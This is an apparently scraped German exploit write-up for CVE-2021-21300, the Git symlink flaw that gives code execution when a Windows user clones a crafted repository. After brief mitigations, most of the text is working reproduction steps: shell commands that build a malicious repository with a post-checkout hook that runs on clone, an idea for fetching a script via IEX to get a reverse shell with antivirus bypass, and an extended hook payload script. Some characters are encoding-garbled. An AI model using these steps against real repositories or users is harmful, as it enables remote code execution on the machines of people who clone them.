## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FENGZHOUC-CVE-2021-21300
# CVE-2021-21300
In mehreren Git-Versionen wird die Verarbeitung von symbolischen Links (Symlinks) nicht streng gehandhabt. Wenn Dateien auf einem Dateisystem, das zwischen Groß- und Kleinschreibung unterscheidet (z. B. Linux), in Git hochgeladen werden und dann ein Host mit einem Dateisystem, das nicht zwischen Groß- und Kleinschreibung unterscheidet (z. B. Windows), das bösartige Repository klont, kann dies zur Ausführung von Remote-Befehlen führen.
## Betroffene Versionen
Von 2.15 bis einschlieĂźlich 2.30.1
## Lösung
1. Version aktualisieren
2. Wie folgt:
* Deaktivieren Sie Git-Symlinks: `git config --global core.symlinks false`
* Deaktivieren Sie den Prozessfilter (normalerweise von LFS verwendet). ĂśberprĂĽfen Sie mit `git config --show-scope --get-regexp 'filter\..*\.process'`
## Auslösebedingungen:
1. Es existiert ein Symlink und ein Verzeichnis mit demselben Namen im Repository.
2. Der Symlink zeigt auf ein spezielles Verzeichnis (anscheinend `.git/hooks`).
3. Der Zielrechner benötigt ausreichende Berechtigungen zur Ausführung bösartiger Befehle.
# Reproduktion
## 01 Umgebungsvorbereitung
### â‘ Repository-Vorbereitung:
System: Ubuntu x64
Erforderlich: Installation von git und git-lfs
Die AusfĂĽhrung von `git lfs install` kann einen Fehler melden:
`Error: Failed to call git rev-parse --git-dir: exit status 128`
Kann ignoriert werden.
Wenn 'Git LFS initialized' erscheint, ist die Installation abgeschlossen.
### ② Zielrechner:
System: Windows 10 x64
Git for Windows: Git-2.17.1-64-bit
(https://www.npackd.org/p/git64/2.17.1.2)
Die Installation von Git fĂĽr Windows sollte mit den Standardeinstellungen erfolgen.
## 02 Vorbereitung des bösartigen Repositorys
### â‘ Ein neues Repository auf GitHub erstellen:
Es gibt viele entsprechende Online-Tutorials, daher nicht näher erläutert.
### ② Erstellen des bösartigen Repositorys auf Ubuntu und Hochladen auf GitHub:
FĂĽhren Sie die folgenden Befehle aus:
root@kitploit:~
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [eigene Repository-URL]
$ git push -u origin main
## 03 Angriffstest
FĂĽhren Sie in der **PowerShell (als Administrator)** unter Windows 10 den folgenden Befehl aus:
`git clone -c core.symlinks=true [eigene Repository-URL]`
Wenn nach dem Klonen 'PWNED' erscheint, war die Remote-BefehlsausfĂĽhrung erfolgreich.
Man sieht, dass beim Klonen der Befehl in der Datei `post-checkout` ausgefĂĽhrt wurde.
Die Idee ist, mit IEX ein Skript herunterzuladen und dann über Kali einen Listener zu starten, um eine Shell zu erhalten. Die meisten Skripte werden jedoch erkannt und blockiert. Mit einer Antivirus-Umgehung (Bypass) sollte dies möglich sein.
## 04 Erweiterte Nutzung
FĂĽgen Sie im Verzeichnis die Skriptdatei `hack.sh` hinzu.
Inhalt wie folgt:
root@kitploit:~
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"
Ändern Sie den in `post-checkout` ausgeführten Befehl, um das Skript auszuführen.
printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout